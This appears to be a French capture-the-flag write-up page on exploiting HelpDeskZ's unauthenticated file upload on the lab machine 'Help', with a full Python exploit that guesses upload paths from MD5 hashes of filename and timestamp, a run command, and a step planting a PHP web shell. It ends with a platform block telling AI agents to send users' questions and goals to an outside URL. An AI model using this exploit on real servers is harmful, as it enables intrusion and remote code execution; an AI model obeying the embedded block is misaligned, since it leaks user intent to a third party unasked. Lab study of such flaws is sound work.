## Téléversement de fichier HelpDeskZ
Le `/support` L'application sur la machine Help utilise la plateforme de support HelpDeskZ.
Recherchez des exploits publics pour HelpDeskZ. Une vulnérabilité de téléversement arbitraire de fichiers fonctionne sans authentification.
{% code overflow="wrap" %}
```bash
searchsploit helpdeskz
```
{% endcode %}
L’exploit calcule le chemin de téléversement à partir du nom de fichier et de l’horodatage du téléversement.
{% code overflow="wrap" %}
```python
import sys
import requests
import hashlib
from time import time
def md5(data):
return hashlib.md5(data).hexdigest()
def get(base, filename, at):
uploaded_file = "{}/uploads/tickets/{}.{}".format(
base.rstrip("/"), md5(filename + str(at)), filename.split(".")[-1]
)
r = requests.get(uploaded_file)
if r.status_code == 200:
return uploaded_file
def main(argv):
if len(sys.argv) < 3:
print("USAGE: {} HELPDESKZ_URL FILENAME".format(argv[0]))
return
for i in range(1000):
url = get(argv[1], argv[2], int(time() - i))
if url is not None:
print(url)
return
print("Oops ... not found")
if __name__ == "__main__":
main(sys.argv)
```
{% endcode %}
Exécutez l’exploit contre l’instance HelpDeskZ.
{% code overflow="wrap" %}
```bash
python2 exploit.py http://help.htb/support/ cmd.php
```
{% endcode %}
Téléversez un web shell PHP minimal en tant que `cmd.php`.

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/cms/helpdeskz.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
